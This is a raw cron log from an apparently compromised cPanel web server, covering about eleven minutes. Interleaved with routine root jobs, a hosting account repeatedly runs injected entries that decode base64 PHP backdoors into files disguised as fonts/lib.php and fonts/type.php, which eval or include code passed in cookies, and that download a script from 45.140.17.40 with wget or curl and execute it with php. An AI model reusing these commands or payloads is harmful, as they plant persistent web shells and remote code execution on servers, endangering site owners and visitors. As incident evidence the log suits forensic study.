Sep  3 14:49:01 ip-184-168-122-23 CROND[22233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:49:01 ip-184-168-122-23 CROND[22235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:49:01 ip-184-168-122-23 CROND[22236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:49:01 ip-184-168-122-23 CROND[22237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:50:01 ip-184-168-122-23 CROND[22351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:50:01 ip-184-168-122-23 CROND[22357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 14:50:01 ip-184-168-122-23 CROND[22355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:51:01 ip-184-168-122-23 CROND[22442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:51:01 ip-184-168-122-23 CROND[22445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:51:01 ip-184-168-122-23 CROND[22443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:51:01 ip-184-168-122-23 CROND[22444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:52:01 ip-184-168-122-23 CROND[22529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:52:01 ip-184-168-122-23 CROND[22532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:52:01 ip-184-168-122-23 CROND[22531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:52:01 ip-184-168-122-23 CROND[22533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:52:01 ip-184-168-122-23 CROND[22534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:53:01 ip-184-168-122-23 CROND[22615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:53:01 ip-184-168-122-23 CROND[22618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:53:01 ip-184-168-122-23 CROND[22617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:53:01 ip-184-168-122-23 CROND[22619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:54:01 ip-184-168-122-23 CROND[22782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:54:01 ip-184-168-122-23 CROND[22784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:54:01 ip-184-168-122-23 CROND[22785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:54:01 ip-184-168-122-23 CROND[22786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:54:01 ip-184-168-122-23 CROND[22787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:55:01 ip-184-168-122-23 CROND[22864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:55:01 ip-184-168-122-23 CROND[22872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:55:01 ip-184-168-122-23 CROND[22873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:55:01 ip-184-168-122-23 CROND[22871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:55:01 ip-184-168-122-23 CROND[22874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:55:01 ip-184-168-122-23 CROND[22877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:56:01 ip-184-168-122-23 CROND[22963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:56:01 ip-184-168-122-23 CROND[22964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:56:01 ip-184-168-122-23 CROND[22967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:56:01 ip-184-168-122-23 CROND[22970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:56:01 ip-184-168-122-23 CROND[22969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:57:01 ip-184-168-122-23 CROND[23057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:57:01 ip-184-168-122-23 CROND[23060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:57:01 ip-184-168-122-23 CROND[23059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:57:01 ip-184-168-122-23 CROND[23061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:58:01 ip-184-168-122-23 CROND[23140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:58:01 ip-184-168-122-23 CROND[23142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:58:01 ip-184-168-122-23 CROND[23141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 14:58:01 ip-184-168-122-23 CROND[23144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:58:01 ip-184-168-122-23 CROND[23143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:59:01 ip-184-168-122-23 CROND[23242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 14:59:01 ip-184-168-122-23 CROND[23243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:59:01 ip-184-168-122-23 CROND[23244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 14:59:01 ip-184-168-122-23 CROND[23245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:00:01 ip-184-168-122-23 CROND[23453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:00:01 ip-184-168-122-23 CROND[23455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:00:01 ip-184-168-122-23 CROND[23456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:00:01 ip-184-168-122-23 CROND[23458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:00:01 ip-184-168-122-23 CROND[23457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:00:01 ip-184-168-122-23 CROND[23460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:00:01 ip-184-168-122-23 CROND[23462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:00:01 ip-184-168-122-23 CROND[23467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
